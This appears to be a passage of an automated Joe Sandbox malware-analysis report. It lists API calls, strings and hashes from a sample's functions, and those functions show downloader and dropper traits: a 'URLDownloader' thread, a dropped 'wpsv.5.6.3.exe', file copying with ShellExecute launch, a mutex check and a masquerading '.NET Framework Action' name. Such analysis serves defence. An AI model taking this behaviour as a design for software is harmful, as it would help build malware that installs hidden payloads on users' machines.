RegOpenKeyExW.ADVAPI32(80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040C6B5,?,?), ref: 0040C534
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000), ref: 0040C552
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001), ref: 0040C570
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002), ref: 0040C58E
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 0040C5AC
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,0040C698,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040C6B5), ref: 0040C5EC
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,0040C698,?,80000001), ref: 0040C617
RegCloseKey.ADVAPI32(?,0040C69F,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,0040C698,?,80000001,Software\Embarcadero\Locales), ref: 0040C692

Strings

Software\Borland\Locales, xrefs: 0040C584
Software\Embarcadero\Locales, xrefs: 0040C508, 0040C52A
Software\Borland\Delphi\Locales, xrefs: 0040C5A2
Software\CodeGear\Locales, xrefs: 0040C548, 0040C566

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: Open$QueryValue$CloseFileModuleName
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales$Software\Embarcadero\Locales
API String ID: 2701450724-3496071916
Opcode ID: ec5a7b2449134f7d5dfed0d4a478582841b94be27ba8f16343ce714d667d3cea
Instruction ID: b87a276e91c0abd92e6ddb5251d81d319347be4625686c9aa575414df8f97b10
Opcode Fuzzy Hash: ec5a7b2449134f7d5dfed0d4a478582841b94be27ba8f16343ce714d667d3cea
Instruction Fuzzy Hash: B251F575A50208FEDB20EB95CC82FAE77ECDB08704F5045BBB604F62C1D6789A449B5D

Function 004221FC Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 132
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?), ref: 004222E4

Strings

w, xrefs: 004222BE
3, xrefs: 004222CE
2, xrefs: 004222D2
s, xrefs: 00422206
u, xrefs: 00422202
2, xrefs: 00422216
s, xrefs: 004222C2
r, xrefs: 0042220E
e, xrefs: 0042220A
2, xrefs: 004222C6
3, xrefs: 00422212
_, xrefs: 004222CA

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: LibraryLoad
String ID: 2$2$2$3$3$_$e$r$s$s$u$w
API String ID: 1029625771-3744707172
Opcode ID: e1859733eebfcf2fbf4a0b9e0044de51f9309db16f947cee2db2299615c06c83
Instruction ID: 27e9f1c01ee5c9c2bc4191f5b7c330e1c9f60075257b6c3fc99aa86c3d286dbd
Opcode Fuzzy Hash: e1859733eebfcf2fbf4a0b9e0044de51f9309db16f947cee2db2299615c06c83
Instruction Fuzzy Hash: AA518BB5E10248AFDB00DFA1D9819BE7F71AB45304F50809DE9481F342E6B99B16CBA1

Function 10001660 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 179
windowregistrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 10001682

Part of subcall function 10001430: SHGetKnownFolderPath.SHELL32(10018310,00000000,00000000,00000000), ref: 1000148B
Part of subcall function 10001430: wcstombs.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,00000104), ref: 100014AA
Part of subcall function 10001430: CoTaskMemFree.OLE32(00000000,00000000,?), ref: 100014DE

CreateThread.KERNEL32(00000000,00000000,10005760,00000000,00000000,00000000), ref: 10001798
RegisterClassW.USER32(?), ref: 100017F7
GetSystemMetrics.USER32(00000001), ref: 100017FF
GetSystemMetrics.USER32(00000000), ref: 10001812
CreateWindowExW.USER32(00000000,?,?,00C40000,?,?,00000190,00000078,00000000,00000000,00000000,00000000), ref: 1000185E
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?,10017426), ref: 1000186D
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 10001894
TranslateMessage.USER32(?), ref: 100018A2
DispatchMessageW.USER32(?), ref: 100018AC

Strings

URLDownloader, xrefs: 100017A8
wpsv.5.6.3.exe, xrefs: 100016C7, 10001733, 10001825

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: CreateMessageMetricsSystemWindow$CallbackClassDispatchDispatcherFolderFreeHandleKnownModulePathRegisterShowTaskThreadTranslateUserwcstombs
String ID: URLDownloader$wpsv.5.6.3.exe
API String ID: 73900685-244475150
Opcode ID: 427fb0662738fb6037c45c3c081c75d8746fa49f42a236919258716a76932914
Instruction ID: 8631f2352c9d4e8355fdf3fc5455be072e9b283b4b7067b2d869b395449685d5
Opcode Fuzzy Hash: 427fb0662738fb6037c45c3c081c75d8746fa49f42a236919258716a76932914
Instruction Fuzzy Hash: 807110B5D00218EFEB54CFA4CC45FDEBBB4EB48700F108169E619A7295EB74AA44CF51

Function 100018D0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 87
windowthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitCommonControlsEx.COMCTL32(00000008), ref: 10001903
GetModuleHandleA.KERNEL32(00000000,00000000), ref: 1000190D
CreateWindowExW.USER32(00000000,msctls_progress32,00000000,50800001,00000014,0000001E,00000159,00000014,00000001,00000065,00000000), ref: 10001933
SetWindowTheme.UXTHEME(00020400,10018438,10018434), ref: 1000194E
SendMessageW.USER32(00020400,00000409,00000000,00D77800), ref: 10001967
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(0000000C), ref: 10001978
CreateThread.KERNEL32(00000000,00000000,Function_000019F0,?,00000000,00000000), ref: 100019B9
PostQuitMessage.USER32(00000000), ref: 100019C4
DefWindowProcW.USER32(00000002,?,?,?), ref: 100019DD

Strings

, xrefs: 100018F8
msctls_progress32, xrefs: 1000192C
3Ro, xrefs: 10001903

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Window$CreateMessage$CommonControlsHandleInitModulePostProcQuitSendThemeThreadmalloc
String ID: $msctls_progress32$3Ro
API String ID: 1181878002-754273676
Opcode ID: f1c3b5bd482cc1038fd523d6cd0664b2522f3065c76e0cbb8d44deae0c0665e8
Instruction ID: 07dac4f513f804ff03a6516b31f22f63e0bdfab53d31000085bea38267b703f6
Opcode Fuzzy Hash: f1c3b5bd482cc1038fd523d6cd0664b2522f3065c76e0cbb8d44deae0c0665e8
Instruction Fuzzy Hash: 03310675A40218FFF750CF94CC9AFAA77B4FB48701F208118FA05AA290C770DA00CB65

Function 10015820 Relevance: 17.9, APIs: 8, Strings: 2, Instructions: 357
filesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10015750: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 10015783

Part of subcall function 10015700: GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1001571E

_Smanip.LIBCPMTD ref: 10015B0A
_Smanip.LIBCPMTD ref: 10015BA4
memset.VCRUNTIME140(?,00000000,00000038,?,?,?,0000002F,?,00000070,?), ref: 10015C85
ShellExecuteExA.SHELL32(0000003C,?,?,?,?,?,?,0000002F,?,00000070,?), ref: 10015CE1
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?,?,?,0000002F,?,00000070,?), ref: 10015CFD
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,0000002F,?,00000070,?), ref: 10015D0A
CopyFileA.KERNEL32(00000000,?,00000000), ref: 10015D73
ShellExecuteA.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 10015D99

Strings

open, xrefs: 10015D92
%s\%s, xrefs: 100158AD

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: File$ExecuteModuleNameShellSmanip$CloseCopyHandleObjectSingleWaitmemset
String ID: %s\%s$open
API String ID: 1843445691-538903891
Opcode ID: 0874a88fbfece6f8bf1c8d8ced0699038052d698083af6ca92b648841300b0f5
Instruction ID: 9eb432f15a048c8dfdefea35090f5a4ff5850cd705bbf9561c51413f96cb23ad
Opcode Fuzzy Hash: 0874a88fbfece6f8bf1c8d8ced0699038052d698083af6ca92b648841300b0f5
Instruction Fuzzy Hash: 48021374C083D8DEEB11CBA4C859BDDBFB5AF15304F0441D9D1496B282DBBA5B88CB62

Function 0040C15C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F,?,?,00000000,00000000,00000000), ref: 0040C17A
LeaveCriticalSection.KERNEL32(00665C14,00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F,?,?,00000000,00000000), ref: 0040C19E
LeaveCriticalSection.KERNEL32(00665C14,00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F,?,?,00000000,00000000), ref: 0040C1AD
IsValidLocale.KERNEL32(00000000,00000002,00665C14,00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F), ref: 0040C1BF
EnterCriticalSection.KERNEL32(00665C14,00000000,00000002,00665C14,00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F), ref: 0040C21C
LeaveCriticalSection.KERNEL32(00665C14,00665C14,00000000,00000002,00665C14,00665C14,00000000,0040C260,?,?,?,00000000,?,0040CB40,00000000,0040CB9F), ref: 0040C245

Strings

en-GB,en,en-US,, xrefs: 0040C18A, 0040C231

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_leBwnyHIgx.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$LocaleValid
String ID: en-GB,en,en-US,
API String ID: 975949045-3021119265
Opcode ID: 0a5da7250e5a4448c1ff3f9645c04e69b407b2ebd84de03ae06c26d7c7f18a7c
Instruction ID: 62fecbf31074def960baab5c845f0e3528801b11b7ae68e71bde5ae064a172bd
Opcode Fuzzy Hash: 0a5da7250e5a4448c1ff3f9645c04e69b407b2ebd84de03ae06c26d7c7f18a7c
Instruction Fuzzy Hash: EC2196A0750701BADB207BBA8C8365925999B85B09F50457FF041BB7C2DE7C9D4182AF

Function 10015DF0 Relevance: 12.0, APIs: 8, Instructions: 41
synchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateMutexA.KERNEL32(00000000,00000000,100185DC), ref: 10015E0A
GetLastError.KERNEL32 ref: 10015E13
CloseHandle.KERNEL32(?), ref: 10015E24
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10015E2C
GetCurrentThread.KERNEL32 ref: 10015E3C
WaitForSingleObject.KERNEL32(00000000), ref: 10015E43
CreateThread.KERNEL32(00000000,00000000,1000B570,00000000,00000000,00000000), ref: 10015E58
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10015E65

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: CreateThreadexit$CloseCurrentErrorHandleLastMutexObjectSingleWait
String ID:
API String ID: 355449500-0
Opcode ID: 932af6c73dcd6bb60c1c2832b1bdd1deeeb21924d37d70f5ea829a4b8e9779f7
Instruction ID: 0f97a28617a5a68d27cb6afa5f47f3953ca9a481207b566471c0f9ba98c6beaf
Opcode Fuzzy Hash: 932af6c73dcd6bb60c1c2832b1bdd1deeeb21924d37d70f5ea829a4b8e9779f7
Instruction Fuzzy Hash: 69014430A84318FBF791ABF08C4EB4D3A65EB08703F104440F709AE1D0CAB5D7848B25

Function 1000281E Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 1000291A

Part of subcall function 10001E30: VariantInit.OLEAUT32(?), ref: 10001EAA

Sleep.KERNEL32(000003E8), ref: 1000287F

Part of subcall function 10001FA0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001FAD

exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10002928

Strings

.NET Framework Action, xrefs: 10002831
wpsv.5.6.3.exe, xrefs: 10002886
.NET Framework Action, xrefs: 100028CF
.NET Framework Action, xrefs: 1000284D

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: Sleep$CreateInitSnapshotToolhelp32Variantexit
String ID: .NET Framework Action$.NET Framework Action$.NET Framework Action$wpsv.5.6.3.exe
API String ID: 4205734914-2781284179
Opcode ID: 4bc7c9451939abfa0745cb850ad1dcc3da066166c1ff9d2bdedd87da215de9cc
Instruction ID: 01e91d36be03056c32c976757ddfbd5278b963073b9274932eac54e5bb7bc252
Opcode Fuzzy Hash: 4bc7c9451939abfa0745cb850ad1dcc3da066166c1ff9d2bdedd87da215de9cc
Instruction Fuzzy Hash: C321ACB4C01218EBEB14CFA0DC99BEEB770FF45391F504298F4052A28ADB34AB44CB51

Function 10015FE6 Relevance: 7.5, APIs: 5, Instructions: 38
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_callnewh.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1000135C,00001000,?,10004B1D,00001000), ref: 10015FEE
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00001000,?,1000135C,00001000,?,10004B1D,00001000), ref: 10015FFB
_CxxThrowException.VCRUNTIME140(?,10019CBC), ref: 100166FE
stdext::threads::lock_error::lock_error.LIBCPMTD ref: 1001670D
_CxxThrowException.VCRUNTIME140(?,10019D9C), ref: 1001671B

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: ExceptionThrow$_callnewhmallocstdext::threads::lock_error::lock_error
String ID:
API String ID: 1722040371-0
Opcode ID: 484d703399dcadcd353398c13584d4514a4cbdd0134b2ce45ad199602cde101f
Instruction ID: 08eecf3aab68b4969477acf4f8a3a2caa643f1c7ff8f01e52dc4bc7ddf13aa92
Opcode Fuzzy Hash: 484d703399dcadcd353398c13584d4514a4cbdd0134b2ce45ad199602cde101f
Instruction Fuzzy Hash: 56F0543880420DB78F04E6B9EC169ED777CEB04290F604125FA689D4D5EB71F6DA85D4

Function 10012F80 Relevance: 4.6, APIs: 3, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??0?$basic_ios@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140 ref: 10012FBA
??0?$basic_ostream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140(00000000), ref: 10012FE7
?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,00000040,00000022,?), ref: 10013068

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_ios@??0?$basic_ostream@?setstate@?$basic_ios@D@std@@@1@_V?$basic_streambuf@
String ID:
API String ID: 2185338108-0
Opcode ID: 88d071829cc17b632e2f1fa59299d32dbac0b10e089369fb1704501315f6ea19
Instruction ID: 106bc35cbdd57d80b480a718a0c65df66589e39bca71049decacc3f2370ba628
Opcode Fuzzy Hash: 88d071829cc17b632e2f1fa59299d32dbac0b10e089369fb1704501315f6ea19
Instruction Fuzzy Hash: AB313CB4A0021ADFDB04CF98CD91BAEB7B5FF48704F108658E916AB391C771AA41CB91

Function 10001430 Relevance: 4.6, APIs: 3, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(10018310,00000000,00000000,00000000), ref: 1000148B
wcstombs.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,00000104), ref: 100014AA
CoTaskMemFree.OLE32(00000000,00000000,?), ref: 100014DE

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: FolderFreeKnownPathTaskwcstombs
String ID:
API String ID: 2577077003-0
Opcode ID: 3d5d65c2c7976f4b4aae160312df689aeeaf5d43f4e73ea647558735ff45e0be
Instruction ID: 90efd60632e2d823e52567890d799542f586c4bd548bb1fa8c7a4ffe1eb11bac
Opcode Fuzzy Hash: 3d5d65c2c7976f4b4aae160312df689aeeaf5d43f4e73ea647558735ff45e0be
Instruction Fuzzy Hash: 4D2117B1940219EBEB00DF94CC95BEEBBB4FB08740F108529F515AB290DB74AB45CB90

Function 10005300 Relevance: 4.6, APIs: 3, Instructions: 56COMMON

Download Yara Rule

APIs

??Bios_base@std@@QBE_NXZ.MSVCP140(?,00000022,00000040,00000001), ref: 1000534A
?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(1001092F,000000FF,?), ref: 10005384

Part of subcall function 10012400: ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,10005395), ref: 1001242D

SetFileAttributesA.KERNEL32(00000000,00000001), ref: 100053A0

Memory Dump Source

Source File: 00000000.00000002.2078710212.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2078692733.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078732895.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078752146.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2078770707.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_leBwnyHIgx.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?setstate@?$basic_ios@?write@?$basic_ostream@AttributesBios_base@std@@FileV12@
String ID:
API String ID: 1581416325-0
Opcode ID: 32f54b1f899ee1af3aba59885187cc1cdca026de1e16f01f9de73927c4a3acad
Instruction ID: 5c88ff171285725a0febf88608a5dc827106f22a602be97f7403975b38e1ce9c
Opcode Fuzzy Hash: 32f54b1f899ee1af3aba59885187cc1cdca026de1e16f01f9de73927c4a3acad
Instruction Fuzzy Hash: CA215970A00109ABEB54DF64CC95FAEB774FB04750F108268F51AAB2D0DB70AA85CF94

Function 0040CA88 Relevance: 3.1, APIs: 2, Instructions: 93COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNEL32(00000000,0040CB9F,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0040CC26,00000000,?,00000105), ref: 0040CB33
GetSystemDefaultUILanguage.KERNEL32(00000000,0040CB9F,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,0040CC26,00000000,?,00000105), ref: 0040CB5B

Memory Dump Source

Source File: 00000000.00000002.2076527370.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2076414824.0000000000400000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076919391.000000000065D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076938473.000000000065E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076957697.000000000065F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076974854.0000000000661000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000663000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.0000000000668000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2076991987.000000000066B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077054601.000000000066D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077076597.000000000066F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077103034.0000000000670000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2077126725.0000000000672000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

